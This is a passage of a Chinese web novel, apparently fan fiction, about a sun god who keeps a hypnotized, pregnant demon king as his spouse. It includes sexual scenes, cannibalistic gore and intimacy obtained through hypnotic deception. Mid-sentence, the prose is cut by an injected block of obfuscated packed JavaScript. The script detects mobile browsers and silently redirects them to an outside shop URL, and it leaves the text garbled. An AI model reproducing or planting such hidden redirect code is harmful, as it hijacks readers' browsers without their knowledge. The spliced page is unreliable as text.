箫烬渊在小镇租了一个宅子,两人已经在这里生活了小半个月。
大禹国在三年前被恶鬼冲进首都,随后在短短三年时间内恶鬼数量急速扩张,整个大禹国的百姓几乎都变成了没有意识的丧尸。
听说就连大禹国的皇帝和大臣们,也没有幸免于难,都是死得死,逃得逃,整个国度在短短三年间分崩离析。
“大禹国还真是恐怖,我听说那些恶鬼,到处在找鬼王,也不知道是找谁。”
“我听说他们找的人,就是三年前被送进大禹国的鬼舞辻神女啊,只不过不知道神女后来去哪里了。”
“就连大禹国皇帝都不见了。”
“宫廷侍卫全部都变成鬼了。”
“那些恶鬼会攻打到我们这边来吗?真是太可怕了……”
月彦坐在院子里,左邻右舍的谈话声不断往院子里涌来。人群叽叽喳喳声音吵闹,混合着鲜美的生命力气息,直往他这里飘散。
月彦望着天上黯淡朦胧的黄月亮,不自觉舔舐着牙齿。
好痒,好痒……
之前在宫殿内的时候,他的牙齿就非常痒,总想要咬什么东西磨牙。
现在夫君带他出来玩几天,他牙齿上的病不但没有治好,反而更痒了。
肚子里的宝宝稍微动了动,扯得肚皮和脚踝神经绷紧,月彦眉头蹙起,本能有些生气,又迅速将难受压制下来。
夫君说了,他肚子里怀了夫君的宝宝,只要他把这个宝宝安全生下来,他的病就能好了,就能和夫君一辈子粘在一起。
到时候他就能成为街上普通的人类,和他们一样普通的生活,可以白天出去玩,可以晒太阳,也可以品尝那些美味的食物。
啊……好痒,好痒。
月彦蜷缩在院墙窗棱旁边,整个人抓着肚皮躬身趴在墙壁上,他咬紧牙关,等肚子里那阵难受的动静过去。
可是动静迟迟没有消失,反而带起他一些别的难言的欲.望。他忍不住扭动双膝,抵住粗糙的墙壁,企图让自己冷静下来。
不过好像不管用。
好难受。
好想,好想……
牙齿好想咬住些什么。最好是带着血腥味的东西,最好要是能嚼得嘎嘣脆,芥末味,那就更好吃了!
隔壁似乎在做全家欢聚的家宴,人类生鲜的气息浓郁伴随着欢声笑语,几乎要将这一片地带淹没掉。
月彦自从离开神殿之后,身上的病越来越厉害,他先是越来越怕阳光,紧接着饿得越来越快。到后面神志模糊的时候,甚至想要去咬那些人的身体,但夫君不许他咬。
夫君说如果他咬了,那他就是坏人了,那夫君就不要他了,也不要他的宝宝。
不!这怎么行。
月彦不希望这样的事情发生,所以他一直很努力的忍耐着。
不停地忍耐……
忍耐……
只不过现在,他实在有些忍不住了。
月彦颤抖着伸手,将披在膝盖上的白色衣袍捧起来。
他唇舌分泌的涎水顺着饱满的垂瓣往下滑落,流淌到下巴尖不断聚集,透明的水光顺着滚动的喉咙延申到胸膛内部,将他胸前一整片布料弄得透湿,柔软的丝绸将他紧致又瘦弱的胸脯勾勒得一览无余。
在原先,他还有几块腹肌,到如今,整片胸脯已然变得光洁柔软,只剩两朵漂亮的樱花绽放在白色的浅滩沟壑上面。
膝盖上的白色衣袍散发着那人身上的气息,闻起来美味又安全,月彦忍不住希望能缩进这片气息里面躲起来。
他埋头进柔软的布料,大口呼吸,箫烬渊身上余留的味道将他整个鼻腔包裹。
他伸出奇痒难耐的牙齿,起先是试着用牙尖蹭了蹭这片布料,随后口腔里的分泌涎液越来越多,就好像唤醒了什么甜蜜的记忆,他一口咬住这片白色布料,将牙根尽数蹭在布料上,疯狂用牙齿模拟进食的动作。
布料被撕咬,纠缠,含进口腔,浸透打湿用牙齿不断研磨咀嚼。
但是不管他如何努力模仿,虚有其表的东西还是无法消除来自身体本能的空虚。
他好饿啊,夫君……
等箫烬渊赶过来的时候,月彦几乎是脱了半件衣服,双眼朦胧的靠在粗糙的石墙旁边。
他月白色的脚尖踩在木制椅子面上,膝盖抵住旁边的墙壁。另外一只脚搭在椅子下,踩在泥地里。黑与白的颜色在他身上快速交叠,格外冲击人的视觉。
月彦搂着已经湿透的衣袍,呜咽的将自己埋在里面,整个人脸色烫红放浪得不成样子,乌黑柔软的发丝顺着他干瘦的身体滑落到腰肢处,半遮半挡的布料一半被他口水弄得晶莹剔透,另一半则被踩在脚下,在脚趾磨蹭中被污泥弄脏。
或许是肚子太大,他这样坐着实在不舒服,为了找个地方腾出他的肚子,他将双腿叉得格外开,整个人几乎是蜷缩着靠在椅子里面。
食欲无法压制,另一种潮汐又不断冲击他的身躯内部。两种空虚搅动得他连最后一丝理智之弦都快绷断。
月彦眼眶湿润得,颤颤巍巍往下摸,意识到自己在做什么之后,又更加羞愧难受,却又实在忍不住诱惑地生疏动手。
他从来没有做过这种事。现在自己咬着衣袍去弄,爽利也就三分,痛苦却占了七分。
原来做这种事,想要做得好,也没那么容易。
混乱的空气中,凌厉的风从院子外面吹进来,在夜色里带来了一阵干爽暖阳的气味。
“夫君……”
感应到箫烬渊朝他走过来,月彦迅速从脏乱的衣袍中抬起头。
就像一只黑猫,从脏污的旧衣篓里探出脑袋一样。
他迅速合拢腿,将自己身板挺直。但他动作太慢,箫烬渊明显已经看见他刚刚在做什么动作。
被发现了。
月彦一双漆黑的眼,最终又重新染上了樱桃红的色泽,柔软胆怯的望着他,眼神中还有一丝恐惧与羞愧。
“夫君。”他声音有些打颤地讲,“对不起,我没忍住。”
箫烬渊望着月彦的视线非常复杂。
从他的神格视角可以看出,无惨身上的鬼性正在以飞快的速度复苏。他好不容易,用了那么长的时间悉心照顾、努力压制,但无论如何,也改变不了他是鬼王的本性。
如果继续抑制,作为鬼王的无惨会死掉,半化成人类的无惨也活不了多久。
如果不再抑制,他的催眠幻术就要压不住无惨本身的鬼气了。
到时候,无惨苏醒了,发现自己对他做了这种事……
箫烬渊还在思考,月彦却误会他因为自己刚刚做的事生气了。
他面色变得惨白,跌跌撞撞从椅子上站起来,也不管自己身上衣服穿没穿好,直接抓住了箫烬渊的手臂。
“夫君,我没有,我没有吃人……他们很吵,吵得要命,但我没有吃他们。我乖不乖?”
月彦眼睛亮亮的,他恐怕还没有发现,他黑色的瞳孔又一次变成了红色。
他那双眼睛试探的、小心翼翼地望着箫烬渊,似乎箫烬渊要是再说些凶巴巴的狠话,他就能委屈得当场哭出声来。
这种表情,在曾经鬼王无惨的脸上,根本不可能见到。
他向来不可一世、自傲骄纵,就算之前藏在他宫殿内隐忍,眼神里也带着一股狠劲。防备、警惕,看谁都跟看敌人一样。
还从没有,像这样,小家媳妇似的望着自己,直接坦然不私藏的,将他整片真心摊开送到面前,就像自己是他这辈子最最依靠、最最不能离开的人一样。
就算只是催眠幻术产生的错觉。
但也挺值得的。
箫烬渊面色柔和,向前一步,将月彦搂在怀里,温暖的太阳气息将半夜的凉意冲淡了,他头疼又心疼的将面前这人打横抱起来。
月彦顺势往他怀中滚过去,亲昵地揽着他的脖子,将自己整个人光.溜溜挂在他身上。
“我没有生气。”
箫烬渊低头,滚烫的额头抵住月彦冰凉的额头。
“月彦也做得很好,特别特别乖。”
听到心上人夸自己,美人迅速笑开,蹭在他下巴尖,恃宠而骄得像朵漂亮的芙蓉花。
“是夫君的错,夫君太自私,整日和月彦说不许你做这,不许你做那,忘记你还饿着肚子,饿得都瘦了这么多。是夫君太笨了,没有满足好你。”
箫烬渊将他抱进屋里的床榻上,让他坐在床铺上。箫烬渊单膝跪在月彦面前,牵着他的手。
“这样,夫君从今天起开始弥补自己的过错,把夫君的血肉喂给月彦吃,好不好。”
“血肉……吃?”
月彦歪着头,有些没懂。
箫烬渊伸出胳膊,健壮的肌肉线条在他手臂上格外好看,一束柔软又锐利的光线凭空在黑夜中聚集,随后化为一柄刀刃划开紧绷的手臂。
香醇鲜红的血液,参杂着神的金光顺着胳膊流淌下来。
箫烬渊金色的眼睛淡淡笑着,将胳膊出血处递到月彦嘴边。
月彦眼瞳大张,盯着那抹红色的印记,整个人呼吸急促,几乎迫不及待就要扑上去。
“今晚不用忍着,亲爱的,不管你想要什么,夫君都能给你。”
是啊,只要把这个吃下去,他牙齿上的“病”就能好受很多了。
月彦脑海深处,不断有个声音朝他重复。
吃掉他。
吃掉他。
只要把他全部都吃掉,他就能重新变成鬼王。
他本来就是恶鬼,又为何非要忍着不去伤人。这简直是让一头狮子,忍着本性不去吃兔子一样过分。
月彦理智彻底崩塌,瞳孔迅速缩紧成一抹红色菱形,抱住箫烬渊的胳膊,凶狠地将牙齿刺进皮肤最深处。
太阳神重新塑造肉身的能力,几乎是比鬼王还要快的。
毕竟鬼王的再生能力是本质上属于基因修复,而太阳神有着造物主般的属性,他只需要新增生命就够了。
原地重建和废墟重修相比,当然还是原地重建更快一步。
绝艳恶鬼扑食在太阳神身上,两人一向神上鬼下的位置,在今天这个黑夜翻转过来,变成鬼坐在神的膝盖上。
恶鬼为了更好的享用血肉,甚至有些强势的掐住神的手臂,不许他乱动,然后用牙齿不断撕咬着神明的肩膀,就像一只饿牢里放出来的疯狗。
大量的血液混着残碎的肉片在空气中流窜,每到恶鬼快吃到骨头时,箫烬渊不得不推开发狂的恶鬼,忍着本源被黑暗侵蚀得疼痛将那块身躯修复。
月彦吃得有些太放肆,甚至无意识地将鬼化血液往他体内输送。箫烬渊对此实在无奈。
就这样重复好几次,恶鬼吃腻了肩头肉,又舔着樱红的唇瓣,开始寻觅别的地方。
“喂,醒醒,还记得我是谁吗?”
箫烬渊掐着恶鬼的下巴,眯着眼睛质问他。
月彦缓了半晌,才慢吞吞摸着肚子反应过来。
“……夫君?”
他红色的眼睛眨呀眨。
箫烬渊放心了。他将月彦漂亮的脸拉近到自己身边,迫使他匍匐在自己身上。
自己的血肉被吃,那他也要吃回来才行。要不然岂不是白白浪费了月彦好不容易坐上来的位置。毕竟之前他就算想和漂亮的月彦尝试这个姿势,他也羞赧拒绝,腼腆固执,死活也不愿意。
今夜,他有些疯狂。自己也未必更冷静。
箫烬渊决定趁这个机会,诱惑漂亮的美人做一些出格的举动。
他有些担心的想,或许错过今晚这个机会,很难再有下一次了。
“宝宝,别喊夫君了,喊我烬渊吧。”
“嗯,夫君……烬渊……”
箫烬渊听得很高兴。满脸餍足。
-
箫烬渊的担心很快有了印证,自从无惨开始恢复进食后,他瘦弱的身躯确实又养回来了,但是之前迷蒙呆傻的模样,也变得越来越遥远。
有好几次,箫烬渊甚至都怀疑无惨早就恢复记忆了,只是他没有告诉自己。
不过每当他产生这样的怀疑时,无惨总能迅速将他的怀疑打散。
“夫君,你回来了。”
小院座椅上,美人捧着临产的肚子,在绿荫下笑眯眯地望着他。
美人双眼清亮,狭长的凤眼末端总沾着微红,仿佛总是酒后未醒般惺忪慵懒。
“月彦。”
箫烬渊稍微紧张的脸色迅速变得轻松,他轻轻吻了吻美人薄唇,将手上的东西放置在庭院石桌上。
他不应该怀疑,毕竟如果无惨真的恢复记忆了,又怎么可能用这样温柔充满爱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628821|205733||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
意的眼神望着他,也不可能如此百依百顺地任他亲吻,喊他夫君。
“你这次又买什么东西回来了?看你这样高兴。”
月彦颇有些兴趣地抬起身,望着箫烬渊手里的东西。
因为他的肚子越来越大,渐渐连下床走路都变得困难,箫烬渊总是会出门买一些新奇的物件回来给他解闷。
特别是距离生产日期越近了,箫烬渊准爸爸的神经也忽然间敲响,最近他不仅总是寻一些小物件,还总会买一些婴儿用品回来。
箫烬渊如数家珍地从袋子里往外掏东西。
风筝、拨浪鼓、西洋传来集市卖的摆钟、漂亮的流苏地毯、觉得松软好用可以垫腰的枕头、用来夏季驱蚊的艾草香包……
还有一些是他不知道从哪里寻来的“母子装”,同样套装的一大一小两件,又是同样款式的妈妈孩子一套。
月彦看得发笑,听他嘀嘀咕咕讲了半天,才问他:“怎么只买了我和崽崽的,你的呢?”
箫烬渊才想起来,他买回来的亲子套装,光买月彦和崽崽的了,忘记买他自己的了!
“嗯,没关系,到时候再让裁缝做一件我的就好了。”
箫烬渊笑着将衣服整理好,收起来。
月彦孕期大了,最近小腿总是抽筋,箫烬渊收拾完东西习惯性蹲下来,将他的双腿从布鞋中抽出来,放在自己膝盖上按摩。
他一开始并不会这一套,还是看月彦实在忍得辛苦,半是威逼半是利诱的把隔壁产科大夫请过来,专门跟着学习过的。
当时大夫还被他黑着的脸吓得全身发抖,知道箫烬渊是想要学习按摩的技术,才吐出一口气,翻了个白眼:“你们当爹的,能不能提前做好准备工作,居然都到这个月份才学这些,真是不负责任。”
当时听得箫烬渊脸色越来越深,就快把他赶出去。
箫烬渊揉了一会儿,月彦难受的面色有了些许好转。
“还难受吗?”箫烬渊问。
月彦摇摇头。
“我再替你揉揉腰。”
箫烬渊说着,用厚重的毛毯将月彦的脚踝膝盖死死盖住,又伸手去揉他的腰。
“亲爱的,最近外面的世道越来越不太平了,我想,我们过段时间估计还是要搬家。”
“搬家?”
“嗯。”箫烬渊点头。
“到时候你先进神殿里休息一会儿,我带着你走就行了。你有没有特别想去的地方呢?”
月彦摇摇头,注意力似乎有些飘散。
“这个大陆上有很多地方都非常美丽,往南走有一片一望无际的山脉,那里有一大片梅花林,你大概会很喜欢。再往北是雪原,你怀着孩子现在去不了,或许等以后我们能去那边转转。再往西有一片开阔的草原,那里住着许多游牧民族,如果你喜欢,我们可以去那里安养一段时间……”
箫烬渊垂眸徐徐说着话,月彦低头望向他。
太阳神常年淡然温和的眼神,如今泛起切实的柔光,就如同一个真正的人类父亲般,思考着往后一段时间要带全家去哪里旅游。
箫烬渊还在持续讲着。说他原本是计划让月彦在宫殿中生产,不过如今皇宫被破坏得太糟糕,他也不能直接带月彦去他天上的本源宫殿,那里阳光旺盛,他接受不住。
至于神殿空间,不过是他复制的一层空间,平常放无惨住一住还行,要无惨在那里生育,未免过于寒碜。
既然这样,就只能选择人类的房屋。
“你是喜欢木头做的房子,还是石头做的房子,喜欢高层的,还是矮层的呢?”箫烬渊碎碎念念地问着。
月彦都不知道,原来太阳神有这么话痨,居然也会思考这么这么多的事情。
月彦抬手,透白修长的手心伸过去,落在箫烬渊的头发上,他细腻柔和的手心贴在他金色的发丝间,恰好盖住那道金色发旋。
月彦轻笑出声,眼角弯弯。
箫烬渊将他的手拉下来。
“亲爱的,不要玩我的头发。”声音有些无奈。
“你再掉头发就要变成秃子了。”月彦说,他笑得捂嘴,“一只金毛秃狮子。”
美人的嘴巴还真是不饶人。
“亲爱的,这都是你的错,都是因为你最近进餐太凶猛,我的光明本源被影响太多才会脱发,等你生产完,我马上就会恢复的。”
箫烬渊一口咬住月彦捣乱的手,故意留下齿印。
或许是一下子没控制住力道,箫烬渊咬得有些深,一道红色印子出现在月彦手心,带着被太阳侵蚀的半片烧伤。
“对不起,我不是故意的。”箫烬渊刚要道歉。
手心浅淡的伤口迅速结痂复原,恢复成惨白色。
箫烬渊看着伤口,愣在原地。
伤口恢复得实在是太快太夸,月彦没有将手抽回来,箫烬渊也没有再说话。
许久过后,箫烬渊才抬起头笑着问他:“所以,你要和我一起离开这里吗?”
月彦半晌没有回话。
箫烬渊心中忐忑,他想,他已经做好了完全的准备,就在箫烬渊抿唇,准备提出质问时。
月彦忽然开口了。
“要走。”
他说。
月彦黑色的眸子颤啊颤,像蝴蝶翅膀般忽闪。
他拉着箫烬渊的袖子。
“我不喜欢海,我喜欢森林,我不喜欢高房子,我喜欢矮矮的木头房子。我希望我们像寻常的人家一样住在森林里面,阳着自己的孩子,然后砍柴生火做饭,像隔壁邻居一样,每到节日的时候,就做一大桌子菜,所有人都很幸福——哦,不过房屋里的东西不能太破旧,人类太糟糕的品味我还是接受不了。”
等等,砍柴森林小屋……这设定好眼熟。他像是想起什么不好的事情,蹙眉。嗯,不过无所谓了。
“我要精致漂亮的桌椅,还有一些西洋容器。如果你能弄到一架钢琴就更好了,我不会吹紫竹箫,我可以弹钢琴曲给你听。”
“烬渊,我想尝试的东西太多了,我想知道糖葫芦是什么味道,我想知道桂花糕到底有多甜,我想知道人类说的休戚与共、白头偕老到底是什么感觉。你之前说,你要做最好吃的花果蜜给我吃,你还没有兑现承诺。”
箫烬渊猛地抬起头,震惊又喜悦地望着他,狠狠捏紧他的手。